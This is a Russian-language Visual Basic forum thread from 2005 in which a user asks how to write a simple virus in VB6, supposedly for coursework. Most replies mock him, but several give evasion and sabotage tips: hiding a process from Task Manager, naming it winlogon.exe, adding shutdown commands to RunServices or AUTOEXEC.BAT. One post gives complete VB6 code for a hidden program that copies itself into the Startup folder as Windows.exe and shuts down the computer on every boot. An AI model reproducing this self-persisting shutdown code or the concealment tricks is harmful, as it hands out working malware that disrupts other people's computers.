VB и Вирус!?

Программирование на Visual Basic, главный форум. Обсуждение тем программирования на VB 1—6.
Даже если вы плохо разбираетесь в VB и программировании вообще — тут вам помогут. В разумных пределах, конечно.
Правила форума
Темы, в которых будет сначала написано «что нужно сделать», а затем просьба «помогите», будут закрыты.
Читайте требования к создаваемым темам.
GPP
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 351
Зарегистрирован: 02.11.2005 (Ср) 8:02
Откуда: г.Невельск о.Сахалин

VB и Вирус!?

Сообщение GPP » 04.11.2005 (Пт) 8:41

Возможно ли на VB 6 написать простой оверврайтовый exe вирус? Нужно для курсовухи.
GPP(c) Gorlo Pavel Programming

tyomitch
Пользователь #1352
Пользователь #1352
Аватара пользователя
 
Сообщения: 12822
Зарегистрирован: 20.10.2002 (Вс) 17:02
Откуда: חיפה

Сообщение tyomitch » 04.11.2005 (Пт) 10:46

Возможно.
Изображение

GPP
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 351
Зарегистрирован: 02.11.2005 (Ср) 8:02
Откуда: г.Невельск о.Сахалин

Сообщение GPP » 04.11.2005 (Пт) 12:22

Если возможно, то как? Очень нужно!
GPP(c) Gorlo Pavel Programming

GSerg
Шаман
Шаман
 
Сообщения: 14286
Зарегистрирован: 14.12.2002 (Сб) 5:25
Откуда: Магадан

Сообщение GSerg » 04.11.2005 (Пт) 12:27

Как только вы переберёте все варианты решения и не найдёте нужного, тут же обнаружится решение, простое и очевидное для всех, кроме вас

Vladimir!
Обычный пользователь
Обычный пользователь
 
Сообщения: 88
Зарегистрирован: 19.09.2005 (Пн) 21:47
Откуда: Пермь

Сообщение Vladimir! » 04.11.2005 (Пт) 14:36

Ага, для курсовой :lol:
Мог бы что-нибудь поинтереснее придумать.

SeT
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 362
Зарегистрирован: 29.12.2004 (Ср) 13:11

Сообщение SeT » 04.11.2005 (Пт) 16:25

Почитай, может поможет.
Вложения
Вирус на Бейсике.rar
Вирус
(2.49 Кб) Скачиваний: 107
01000100
Причиняет боль 0010
Виртуальная любовь 00100
Индустрия снов 0010

BV
Thinker
Thinker
Аватара пользователя
 
Сообщения: 3987
Зарегистрирован: 12.09.2004 (Вс) 0:55
Откуда: Молдавия, г. Кишинёв

Сообщение BV » 04.11.2005 (Пт) 16:51

Вопрос, однако...
const char *out = "|*0>78-,+<|"; size_t cc = char_traits<char>::length(out);
for (size_t i=0;i<cc;i++){cout<<static_cast<char>((out[i]^89));}cout<<endl;

AlexBlack
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 324
Зарегистрирован: 18.07.2005 (Пн) 19:14
Откуда: Киефф, Юкрейн...

Сообщение AlexBlack » 04.11.2005 (Пт) 19:09

Гы. Да было что-то в этом духе....
... да. Вирус написаный на ВБ это жёстко. Программа неазметно скачивает 20 метров библиотек необходимых для работы....
Красный, но студийный.

http://www.rs-creative.com
Alex_Black@rs-creative.com

Extremist
Обычный пользователь
Обычный пользователь
Аватара пользователя
 
Сообщения: 83
Зарегистрирован: 20.10.2004 (Ср) 1:50

Сообщение Extremist » 05.11.2005 (Сб) 14:30

GPP писал(а):Если возможно, то как? Очень нужно!

http://bbs.vbstreets.ru/viewtopic.php?t ... highlight=
"Со мной каши не сваришь", - ошибочно полагал Джеймс Кук.

Maitris
Постоялец
Постоялец
 
Сообщения: 656
Зарегистрирован: 02.03.2005 (Ср) 21:00
Откуда: Из другой цивилизации.

Сообщение Maitris » 05.11.2005 (Сб) 15:00

Смысл делать вирус? Никакой практической пользы не принесет.. Вандализм..

Maitris
Постоялец
Постоялец
 
Сообщения: 656
Зарегистрирован: 02.03.2005 (Ср) 21:00
Откуда: Из другой цивилизации.

Сообщение Maitris » 05.11.2005 (Сб) 15:04

А если уж вирус, то не VB, а VBA. А еще лучше на кьювасе, как в том примере вложенном :)

GPP
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 351
Зарегистрирован: 02.11.2005 (Ср) 8:02
Откуда: г.Невельск о.Сахалин

Сообщение GPP » 06.11.2005 (Вс) 4:52

Значит написать вирус на VB нельзя!?
GPP(c) Gorlo Pavel Programming

FaKk2
El rebelde gur&#250;
El rebelde gur&#250;
Аватара пользователя
 
Сообщения: 2031
Зарегистрирован: 09.03.2003 (Вс) 22:10
Откуда: Los Angeles

Сообщение FaKk2 » 06.11.2005 (Вс) 7:05

GPP
Дурак ты, ей богу. :evil:
Для получения ответа надо продемонстрировать качества, позволяющие стать компетентным — внимательность, вдумчивость, наблюдательность, желание активно участвовать в выработке решения.

SeT
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 362
Зарегистрирован: 29.12.2004 (Ср) 13:11

Сообщение SeT » 06.11.2005 (Вс) 8:39

Можно, только этот вирус будет жрать 3 метра памяти в ОЗУ, светится у таскманагера, и ничего серьёзного, кроме как удаления файлов, сделать не сможет. Ито если доступ к файлам открыт. Юзай С++
01000100
Причиняет боль 0010
Виртуальная любовь 00100
Индустрия снов 0010

Brusco
Обычный пользователь
Обычный пользователь
 
Сообщения: 50
Зарегистрирован: 22.10.2004 (Пт) 3:16
Откуда: Reutov, Russia

Сообщение Brusco » 06.11.2005 (Вс) 8:49

А на PowerBasic можно и нормального жука написать.

AjaxVS
Постоялец
Постоялец
 
Сообщения: 506
Зарегистрирован: 01.12.2004 (Ср) 13:12
Откуда: Donetsk, Battle.Net

Сообщение AjaxVS » 07.11.2005 (Пн) 13:36

Всемирно известный вирус ILoveYou написан на VBS...
Это так, для размышлений...

Кстати, нет ни у кого исходников? Их как-то где-то вылаживали, но сразу же и сайт закрыли =( Може кинете мне на мыло, а?

Cryonyx
Бывалый
Бывалый
Аватара пользователя
 
Сообщения: 292
Зарегистрирован: 12.11.2004 (Пт) 15:40
Откуда: Net_SubStream

Сообщение Cryonyx » 07.11.2005 (Пн) 22:55

ага, сразу с повесткой в ФСБ? :lol: :lol:
Если тебе не по сердцу мой путь,
Выбери сам или выбери с кем,
А мне по барабану вся эта муть -
Я не червонец, чтобы нравиться всем!
© К.Кинчев
--
Мой блог: щёлкай сюда

RUSYA
Обычный пользователь
Обычный пользователь
 
Сообщения: 84
Зарегистрирован: 22.07.2005 (Пт) 20:17
Откуда: Харьков

Сообщение RUSYA » 09.11.2005 (Ср) 1:45

а чего нельзя? Ну то что он будет не экономен к руссурсам системы - это понятно, но зачем же говорить что нельзя... Вспомнить что в VB можно и DLL подключать :) А вспомнить что из на асме писать можно - VB вполне пригоден для вирусов (в паре ещё с чем-то конечно) И сделать можно всё что угодно, от кражи секретной инфы, до краха системы.
А как оно на самом деле - Х.З. !

Extremist
Обычный пользователь
Обычный пользователь
Аватара пользователя
 
Сообщения: 83
Зарегистрирован: 20.10.2004 (Ср) 1:50

Сообщение Extremist » 09.11.2005 (Ср) 1:50

RUSYA писал(а):а чего нельзя? Ну то что он будет не экономен к руссурсам системы - это понятно, но зачем же говорить что нельзя... Вспомнить что в VB можно и DLL подключать :) А вспомнить что из на асме писать можно - VB вполне пригоден для вирусов (в паре ещё с чем-то конечно) И сделать можно всё что угодно, от кражи секретной инфы, до краха системы.

Чувак я тоже так могу собирать чужие комменты из поста и постить их одним своим постом в конце :) не забыв приправить всё это небольшой порцией бредятины...
"Со мной каши не сваришь", - ошибочно полагал Джеймс Кук.

MeMBus
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 450
Зарегистрирован: 23.02.2005 (Ср) 7:03
Откуда: Из леса...

Сообщение MeMBus » 09.11.2005 (Ср) 4:41

Детские шалости это все... хотя написать можно, можно написать и так чтоб простой юзверь не видел работы... возможно даже сделать что-то вразумительное, но только нафига?
Бороться и искать, найти и перепрятать!

keks-n
Доктор VB наук
Доктор VB наук
Аватара пользователя
 
Сообщения: 2509
Зарегистрирован: 19.09.2005 (Пн) 17:17
Откуда: г. Москва

Сообщение keks-n » 10.11.2005 (Чт) 15:19

SeT писал(а):Можно, только этот вирус будет жрать 3 метра памяти в ОЗУ, светится у таскманагера, и ничего серьёзного, кроме как удаления файлов, сделать не сможет. Ито если доступ к файлам открыт. Юзай С++


Светиться он не будет если:

В Win95/98:
RegisterServiceProcess - Апи функция, см API - Guide

В Win2000/XP/2003:

App.TaskVisible=False
и обозваться winlogon.exe (шоб не прибили).
Изображение

_Мика_
Гуру
Гуру
 
Сообщения: 1459
Зарегистрирован: 24.10.2003 (Пт) 15:05
Откуда: г. Москва, м.Речной вокзал

Сообщение _Мика_ » 10.11.2005 (Чт) 15:24

Да ладно вам! Можно отличный вирус написать! :wink: :roll:

Можно так, чтоб винда после перезагрузки вообще не запустилась! :wink:
-Папа, а правда, что форумы делают людей дибилами?
-гы гы гы, сынок, лол!

Денис Победря
Мегобойанист
Мегобойанист
 
Сообщения: 1037
Зарегистрирован: 03.01.2005 (Пн) 21:29
Откуда: Из Москвы

Сообщение Денис Победря » 10.11.2005 (Чт) 15:28

SeT писал(а):кроме как удаления файлов, сделать не сможет.

А ведь можно просто дописать строчку в файл AUTOEXEC.BAT... Осталось тока придумать какую :wink: Ещё лучше, если она начинается с буквы 'f'
[Место cдаётся]

Бяка
Бывалый
Бывалый
Аватара пользователя
 
Сообщения: 219
Зарегистрирован: 21.09.2005 (Ср) 21:28

Сообщение Бяка » 11.11.2005 (Пт) 0:09

Так ,простенький вирус вернее просто вредоносная программа. идёт тока на Windows XP
Создаётся Форма и 2 Таймера. У формы Visible делаеш False, у первого таймера Interval = 1, у второго Interval = 5000. Выключение произойдет через 5 сек.

!!!!!!!НЕ ТЕСТИРУЙТЕ НА СВОЁМ КОМПюТЕРЕ!!!!!!!

Код: Выделить всё
Private Sub Form_Load()
    App.TaskVisible = False                                                                     If Dir$("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Windows.exe") <> "" Then
        Timer2.Enabled = True       
    Else
        Z = App.Path & "\" & App.EXEName & ".exe"
        If Dir$(Z) <> "" Then
            FileCopy Z, "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Windows.exe"
            End
        End If
    End If
End Sub

Private Sub Timer1_Timer()
    X = "C:\WINDOWS\system32\shutdown -s"
    Shell X
End Sub

Private Sub Timer2_Timer()
    Timer1.Enabled = True
End Sub
Последний раз редактировалось Бяка 11.11.2005 (Пт) 0:10, всего редактировалось 1 раз.

RUSYA
Обычный пользователь
Обычный пользователь
 
Сообщения: 84
Зарегистрирован: 22.07.2005 (Пт) 20:17
Откуда: Харьков

Сообщение RUSYA » 11.11.2005 (Пт) 0:21

Extremist писал(а):
RUSYA писал(а):а чего нельзя? Ну то что он будет не экономен к руссурсам системы - это понятно, но зачем же говорить что нельзя... Вспомнить что в VB можно и DLL подключать :) А вспомнить что из на асме писать можно - VB вполне пригоден для вирусов (в паре ещё с чем-то конечно) И сделать можно всё что угодно, от кражи секретной инфы, до краха системы.

Чувак я тоже так могу собирать чужие комменты из поста и постить их одним своим постом в конце :) не забыв приправить всё это небольшой порцией бредятины...


обоснуй! Я высказал свою точку зрения, при том что о комбинировании VB ещё с чем-то никто не говорил... так где бредятина?
А как оно на самом деле - Х.З. !

Extremist
Обычный пользователь
Обычный пользователь
Аватара пользователя
 
Сообщения: 83
Зарегистрирован: 20.10.2004 (Ср) 1:50

Сообщение Extremist » 11.11.2005 (Пт) 1:07

RUSYA писал(а):
Extremist писал(а):
RUSYA писал(а):а чего нельзя? Ну то что он будет не экономен к руссурсам системы - это понятно, но зачем же говорить что нельзя... Вспомнить что в VB можно и DLL подключать :) А вспомнить что из на асме писать можно - VB вполне пригоден для вирусов (в паре ещё с чем-то конечно) И сделать можно всё что угодно, от кражи секретной инфы, до краха системы.

Чувак я тоже так могу собирать чужие комменты из поста и постить их одним своим постом в конце :) не забыв приправить всё это небольшой порцией бредятины...


обоснуй! Я высказал свою точку зрения, при том что о комбинировании VB ещё с чем-то никто не говорил... так где бредятина?


ну вот например про кражу секретной инфы с помощью VB, хотя я незнаю что ты подразумевал под словами "Cекретная инфа" может быть порно на компе соседа?
"Со мной каши не сваришь", - ошибочно полагал Джеймс Кук.

SeT
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 362
Зарегистрирован: 29.12.2004 (Ср) 13:11

Сообщение SeT » 11.11.2005 (Пт) 14:41

Тема уже ниочём пошла.
Если на то пошло, то можно скрыто запустить процесс форматирования свободного раздела HDD, перед этим создав файл-настройку.
Всё равно вирусы на VB писать геморойно. Ну как например он должен проникать через открытый порт, сам себя загружать в ОЗУ, записываться в ЕХЕ-файлы и прочее, если простая форма весит примерно 24 кб. А?
01000100
Причиняет боль 0010
Виртуальная любовь 00100
Индустрия снов 0010

PARTYzan
Начинающий
Начинающий
Аватара пользователя
 
Сообщения: 18
Зарегистрирован: 03.11.2005 (Чт) 3:25
Откуда: Томск

Сообщение PARTYzan » 11.11.2005 (Пт) 15:42

не не, нормальная такая тема :)

просто не юзай левых контролов, ВСЁ сам пиши... даже, можно так сказать, пиши свой винсок :D
и еще: апи-функции тебе в помощь :twisted:

Alexander N. Samarin
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 397
Зарегистрирован: 05.03.2005 (Сб) 20:59
Откуда: Интернат 18 (СУНЦ МГУ), комната 214А, кровать посередине

Сообщение Alexander N. Samarin » 11.11.2005 (Пт) 17:46

Вирус на ВБ.... Извращенцы.... Сувайте в RunServices выключение операционки и флаг вам в руки!!!
На это не смотрите! Это не подпись!!!!!!

След.

Вернуться в Visual Basic 1–6

Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 83

    TopList